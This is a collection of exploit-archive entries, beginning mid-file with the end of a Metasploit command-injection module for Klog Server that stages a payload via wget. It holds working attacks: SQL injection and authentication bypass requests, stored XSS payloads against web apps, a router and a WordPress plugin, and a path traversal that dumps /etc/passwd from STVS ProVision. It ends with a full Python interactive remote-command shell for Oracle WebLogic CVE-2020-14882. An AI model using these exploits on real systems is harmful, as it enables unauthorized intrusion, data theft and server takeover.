                      'DisclosureDate' => "2021-01-05",
                      'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
      ]
    )
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
    cmd.gsub!(/;/, " %0A ")
    cmd.gsub!(/ /, '+')
    cmd.gsub!(/\//, '%2F')

  end

  def execute_command(cmd, opts = {})
    command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"

    print_status("Sending stager payload...")
    uri = target_uri.path
    res= send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
                            'encode_params' => false,
                            'vars_post'      => {
                              'user' => command_payload,
                              'pswd' => "inline"
                            }
                          })
    if res && res.code == 302
      print_error("The target is not vulnerable!")
    else
      print_good("The target is vulnerable!")
    end
  end

  def check
    uri = target_uri.path
    res= send_request_cgi({
                            'method'        => 'POST',
                            'uri'           => normalize_uri(uri, 'actions', 'authenticate.php'),
                            'encode_params' => false,
                            'vars_post'      => {
                              'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
                              'pswd' => "inline"
                            }
                          })
    if res && res.code == 302
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def exploit
    print_status("Exploiting...")
    execute_cmdstager(flavor: :wget, delay: 10)
  end
end
            
# Exploit Title: Library System 1.0 - 'category' SQL Injection
# Exploit Author: Aitor Herrero
# Date: 2021-01-22
# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Software Link: https://www.sourcecodester.com/php/12275/library-system-using-php.html
# Version: 1.0
# Tested On: Windows 10 + XAMPP 7.4.4
# Description: Library System 1.0

#STEP 1 : Go to the principal main
#STEP 2 : Choose a category example :http://localhost:8080/libsystem/libsystem/index.php?category=3
#STEP 3: Run your sqlmap example:
sqlmap -u "http://localhost:8080/libsystem/libsystem/index.php?category=3" --dbs
            
# Exploit Title: Simple College Website 1.0 - 'name' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano (@stunn4)
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "name" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The source of "/admin_pages/login.php" file defines the following lines of code:

$name=$_POST['name'];
$password=$_POST['password'];
$result=mysqli_query($conn,"SELECT * FROM users WHERE name='$name' AND Password='$password'");

which are called when trying to log into the administrative panel at "/admin_pages/login.php" itself.

Proof Of Concept:

The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "florian".


POST /admin_pages/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin_pages/login.php
Cookie: wp-settings-time-1=1611158502; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

name=florian%27+or+%271%27+%3D+%271+--+-&password=test&login=Login
            
# Exploit Title: Simple College Website 1.0 - 'full' Stored Cross Site Scripting
# Exploit Author: Marco Catalano (@stunn4)
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "full" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The source of "/admin_pages/admission.php" file defines the following lines of code:

if (isset($_POST['add'])&&!empty($_POST['full'])) {
    $full=$_POST['full'];
    $query=mysqli_query($conn,"UPDATE `contents` SET `full_contents`='$full'  WHERE `id`='2'");
    if ($query) {
        echo "<b style='color:white;'>Page changed..!</b>";
    } else if(!$query){
        echo "<b style='color:white;'>Page is not changed..!</b>";
    }
}


which allow to an authenticated administrator to modify the source code of the page.
Every change is then reflected and the user-input is not properly sanitized, this leads to cross site scripting attacks.
An attacker may try to gain access to the admin panel using authentication bypass through sql injection exploit.

Proof Of Concept:
The attacker is logged into the administrator panel and modifies the source code of admission.php page to inject javascript code as it follows:


POST /admin_pages/admission.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin_pages/admission.php
Cookie: wp-settings-time-1=1611158502; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

full=<script>alert("xss+PoC+by+stunn4")%3b</script>&add=Update+Contents

The XSS payload is stored in the database, so a victim would browse http://127.0.0.1/admission.php and execute the XSS payload.
            
# Exploit Title: STVS ProVision 5.9.10 - File Disclosure (Authenticated)
# Date: 19.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.stvs.ch


STVS ProVision 5.9.10 (archive.rb) Authenticated File Disclosure Vulnerability


Vendor: STVS SA
Product web page: http://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2701-6123026)
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: The NVR software ProVision suffers from an authenticated
arbitrary file disclosure vulnerability. Input passed through
the files parameter in archive download script (archive.rb) is
not properly verified before being used to download files. This
can be exploited to disclose the contents of arbitrary and sensitive
files.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5623
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5623.php

19.01.2021

--


#1 LFI Prober (FP):
-------------------

GET /archive/download?files=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: 192.168.1.17
Authorization: Digest username="admin", realm="ProVision", nonce="MjAyMS0wMS0xOSAwMDowNjo0NTo2OTMwMTE6NDk2MmVkNzM2OWIxNzMzNzRjZDc3YzY0NjM3MmNhNz", uri="/archive/download", algorithm=MD5, response="aceffbb0a121570f98a9f4678470a588", opaque="3c837ec895bd5fedcdad8674184de82e", qop=auth, nc=000001ca, cnonce="ebed759486b87a80"
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Origin: http://192.168.1.17
Referer: http://192.168.1.17/archive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: last_stream=1; __flash__info=
Connection: close

HTTP/1.1 500 Not Found
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 18 Jan 2021 23:23:30 GMT
Content-Type: text/html
Content-Length: 2727
Connection: close

<h1>`Archive` application problem</h1><h2>Archive::Controllers::FileDownload.GET</h2><h3>TypeError can't convert nil into String:</h3><ul><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new'</li><li>/usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'</li><li>(eval):27:in `send'</li><li>(eval):27:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/security.rb:79:in `service'</li><li>/usr/local/lib/ruby/site_ruby/1.8/ext/forward.rb:54:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/camping-1.5.180/lib/camping/reloader.rb:117:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:53:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `synchronize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/camping.rb:52:in `process'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:626:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:625:in `process_client'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:751:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `initialize'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `new'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel.rb:735:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:282:in `run'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `each'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:281:in `run'</li><li>/usr/local/bin/provision_server:69:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:149:in `listener'</li><li>/usr/local/bin/provision_server:63:in `cloaker_'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `call'</li><li>/usr/local/lib/ruby/gems/1.8/gems/mongrel-1.0.5/lib/mongrel/configurator.rb:50:in `initialize'</li><li>/usr/local/bin/provision_server:62:in `new'</li><li>/usr/local/bin/provision_server:62</li></ul>


#2 LFI Prober (Verified):
-------------------------

$ curl "http://192.168.1.17/archive//download/%2Fetc%2Fpasswd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
provision:x:999:107::/srv/provision/provision:/bin/bash
stvs:x:1000:100::/home/stvs:/bin/bash
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
ntp:x:104:108::/home/ntp:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:107:65534::/var/lib/nfs:/bin/false


--
Errno::ENOENT No such file or directory - /var/www/index.html:

    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `initialize'
    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `new'
    /usr/local/lib/ruby/site_ruby/1.8/apps/archive.rb:392:in `get'
            
# Exploit Title: Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated)
# Google Dork: inurl:"/console/login/LoginForm.jsp"
# Date: 01/26/2021
# Exploit Author: CHackA0101
# Vendor Homepage: https://www.oracle.com/security-alerts/cpuoct2020.html
# Version: Oracle WebLogic Server, version 12.2.1.0
# Tested on: Oracle WebLogic Server, version 12.2.1.0 (OS: Linux PDT 2017 x86_64 GNU/Linux)
# Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
# CVE : CVE-2020-14882

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2020-14882/README.md

#!/usr/bin/python3

import requests
import argparse
import http.client
http.client.HTTPConnection._http_vsn=10
http.client.HTTPConnection._http_vsn_str='HTTP/1.0'
parse=argparse.ArgumentParser()
parse.add_argument('-u','--url',help='url')
args=parse.parse_args()

proxies={'http':'127.0.0.1:8080'}
cmd_=""

# Headers
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;rv:73.0)Gecko/20100101 Firefox/73.0",
	"Accept":"application/json,text/plain,*/*",
	"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
	"Accept-Encoding":"gzip,deflate",
	"Upgrade-Insecure-Requests":"1",
	"Content-Type":"application/x-www-form-urlencoded",
	"Cache-Control":"max-age=0",
	"Connection":"close"
}

# Oracle WebLogic Server 12.2.1.0 - Unauthenticated RCE via python Explotation:
url=args.url+"""/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec();");"""
url_=args.url+"/console/images/%252E%252E%252Fconsole.portal"

form_data_="""_nfpb=false&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread=(weblogic.work.ExecuteThread)Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe","/c", cmd} : new String[]{"/bin/sh","-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");}executeThread.interrupt();");"""

#data_ = parse.urlencode(form_data_)
results1=requests.get(url,headers=headers)

if results1.status_code==200:
	print("(Load Headers...)\n")
	print("(Data urlencode...)\n")
	print("(Execute exploit...)\n")
	print("(CHackA0101-GNU/Linux)$ Successful Exploitation.\n")
	while True:
		cmd_test = input("(CHackA0101GNU/Linux)$ ")
		if cmd_test=="exit":
			break
		else:
			try:
				cmd_ = cmd_test
				headers = {
					'cmd': cmd_,
					'Content-Type':'application/x-www-form-urlencoded',
					'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
					'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
					'Connection':'close',
					'Accept-Encoding':'gzip,deflate',
					'Content-Length':'1244',
					'Content-Type':'application/x-www-form-urlencoded'
				}
				results_ = requests.post(url_, data=form_data_, headers=headers, stream=True).text
				print(results_)
			except:
				pass
else:
	print("(CHackA0101-GNU/Linux)$ Fail.\n")
            
# Exploit Title: Tenda AC5 AC1200 Wireless - 'WiFi Name & Password' Stored Cross Site Scripting
# Exploit Author: Chiragh Arora
# Hardware Model: Tenda AC5 AC1200
# Firmware version: V15.03.06.47_multi
# Tested on: Kali Linux
# CVE ID: CVE-2021-3186
# Date: 25.01.2021

##########################################################################

Steps to Reproduce -

   - Navigate to the Tenda AC1200 gateway with 192.168.0.1 
   - Follow up to the WiFi Settings and click the “WiFi Name & Password” option there.
   - Manipulate the WiFi Name with "<script>alert(1)</script>"
   - Click the “Save” button & as the page refresh, you’ll got an alert stating “1” within it.
   
Note: It doesn’t matter which Network Name parameter (2.4 GHz or 5 GHz) you’re manipulating, you’ll encounter the popup over in both of them.
            
# Exploit Title: WordPress Plugin litespeed-cache 3.6 - 'server_ip' Cross-Site Scripting
# Date: 20-12-2020
# Software Link: https://downloads.wordpress.org/plugin/litespeed-cache.3.6.zip
# Version: litespeed-cache
# Tested on: Windows 10 x64

# Description:
# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins litespeed-cache 3.6
# One parameters(server_ip) have Cross-Site Scripting.

POST /wp-admin/admin.php?page=litespeed-general HTTP/1.1
Host: localhost
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/wp-admin/admin.php?page=litespeed-general
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
wordpress_a5beef43d228c89cc1d954ec4fcadda1=admin%7C1609289111%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7C27d97999284897d8645200c65a7f508dffef6a9184800b2905627ccbd4d71806;
wordpress_test_cookie=WP%20Cookie%20check;
_lscache_vary=9effc614452472ce40565e73d3f4301c;
wordpress_logged_in_a5beef43d228c89cc1d954ec4fcadda1=admin%7C1609289111%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7Cd7e1a2a77822d410d7ebe2540b88dc68f908a031ceda6e884995ff419bfb6b38;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1609116311
Connection: close

LSCWP_CTRL=save-settings&LSCWP_NONCE=af21ea74b2&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dlitespeed-general&_settings-enroll%5B%5D=auto_upgrade&auto_upgrade=0&_settings-enroll%5B%5D=api_key&api_key=&_settings-enroll%5B%5D=server_ip&server_ip=%3Cscript%3Ealert%28%27Hoa%27%29%3C%2Fscript%3E&_settings-enroll%5B%5D=news&news=1&litespeed-submit=Save+Changes
            
# Exploit Title: Responsive E-Learning System 1.0 – Stored Cross Site Scripting
# Date: 2020-12-24
# Exploit Author: Kshitiz Raj(manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Step 1- Go to url http://localhost/elearning/admin/index.php
Step 2 – Login as admin.
Step 3 – Go to http://localhost/elearning/admin/course.php
Step 4 – click on Edit course (any course)
Step 5 – Enter *Course Year And Section:*  as <script>alert()</script> and fill the other values.
Step 6 – Click Save

XSS popup will be triggered.